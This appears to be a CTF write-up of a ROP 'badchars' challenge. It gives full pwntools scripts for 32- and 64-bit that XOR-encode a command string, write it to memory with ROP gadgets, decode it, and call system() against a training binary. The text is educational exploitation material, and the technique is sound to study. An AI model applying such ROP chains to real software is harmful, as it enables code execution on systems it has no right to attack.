So in this case we have a binary as usual with input which overflows and get us the control for EIP (We wont' be discussing the getting offset part, as that has been discussed multiple times in the previous write-ups). However, in this case, there are certain characters that we can not input, else the binary won't run and will stop the execution in the middle.
So we can not input many essential characters that we usually do to read the flag.txt file of the system. So in this case, the hint was to use XOR function to load our XORed string into memory as done in write4 and then XOR it again to get the original string back, thus avoiding any bad characters while proving input to the program.
So the procedure we'll follow will be to first load the XORed string into memory using gadgets, then XOR the string again with gadgets to get the desired string back and then call system with parameters to get the flag.
I created a helper script to get all the characters that can be used to XOR the string that won't contain the bad characters even after being XORed.
import stringbadchars = [" ","b","i","c","/","f","n","s"]flag_text ="/bin/cat ./flag.txt;"all_letters =set(string.ascii_letters).union(set(string.punctuation))valid_xor = all_letters -set(badchars)for val in valid_xor: sample =''.join([chr(ord(ch) ^ord(val)) for ch in flag_text])ifnotset(sample).intersection(set(badchars)):print"XOR value = ", val
32 bit
from pwn import*## ---------------------------- ROP## 0x08048896: pop ebx; pop ecx; ret;## 0x08048890: xor byte ptr [ebx], cl; ret;## 0x08048893: mov dword ptr [edi], esi; ret;## 0x08048899: pop esi; pop edi; ret;data_section =0x0804a038load_chunk =0x08048899store_chunk =0x08048893load_xor_val =0x08048896xor_vals =0x08048890system =0x080484e0rop_chain = []flag_text ="cat flag.txt"# flag_text = "/bin/sh;echo"xor_val ="D"defget_hex_arr(): param =''.join([chr(ord(ch) ^ord(xor_val)) for ch in flag_text])# print param arr = re.findall('.{4}', param)return [e[::-1].encode("hex")for e in arr]## Load the string into the memoryptr =0for chunk inget_hex_arr(): rop_chain.append(p32(load_chunk)) rop_chain.append(p32(int(chunk, 16))) rop_chain.append(p32(data_section + ptr)) rop_chain.append(p32(store_chunk)) ptr +=4## XOR the stored string byte by bytefor ptr inrange(0, len(flag_text)): rop_chain.append(p32(load_xor_val)) rop_chain.append(p32(data_section + ptr)) rop_chain.append(p32(ord(xor_val))) rop_chain.append(p32(xor_vals))print"A"*44+''.join(rop_chain)+p32(system)+"JUNK"+p32(data_section)
64 bit
from pwn import*## ---------------------------- ROP## 0x400b34: mov qword ptr [r13], r12; ret;## 0x400b3b: pop r12; pop r13; ret;## 0x400b40: pop r14; pop r15; ret;## 0x400b30: xor byte ptr [r15], r14b; ret;## 0x400b39: pop rdi; ret;data_section =0x601080load_chunk =0x400b3bstore_chunk =0x400b34load_xor_val =0x400b40xor_vals =0x400b30system =0x4006f0pop_rdi =0x400b39rop_chain = []badchars = [" ","b","i","c","/","f","n","s"]flag_text ="cat flag.txt\x00\x00\x00\x00"# flag_text = "/bin/sh;echo"xor_val ="&"defget_hex_arr(): param =''.join([chr(ord(ch) ^ord(xor_val)) if ch in badchars else ch for ch in flag_text]) differences = [i for i inrange(len(flag_text))if flag_text[i]!= param[i]] arr = re.findall('.{8}', param)return [e[::-1].encode("hex")for e in arr], differenceschunks, diff_idx =get_hex_arr()## Load the string into the memoryptr =0for chunk in chunks: rop_chain.append(p64(load_chunk)) rop_chain.append(p64(int(chunk, 16))) rop_chain.append(p64(data_section + ptr)) rop_chain.append(p64(store_chunk)) ptr +=8## XOR the stored string byte by bytefor ptr in diff_idx: rop_chain.append(p64(load_xor_val)) rop_chain.append(p64(ord(xor_val))) rop_chain.append(p64(data_section + ptr)) rop_chain.append(p64(xor_vals))rop_chain.append(p64(pop_rdi))rop_chain.append(p64(data_section))print"A"*40+''.join(rop_chain)+p64(system)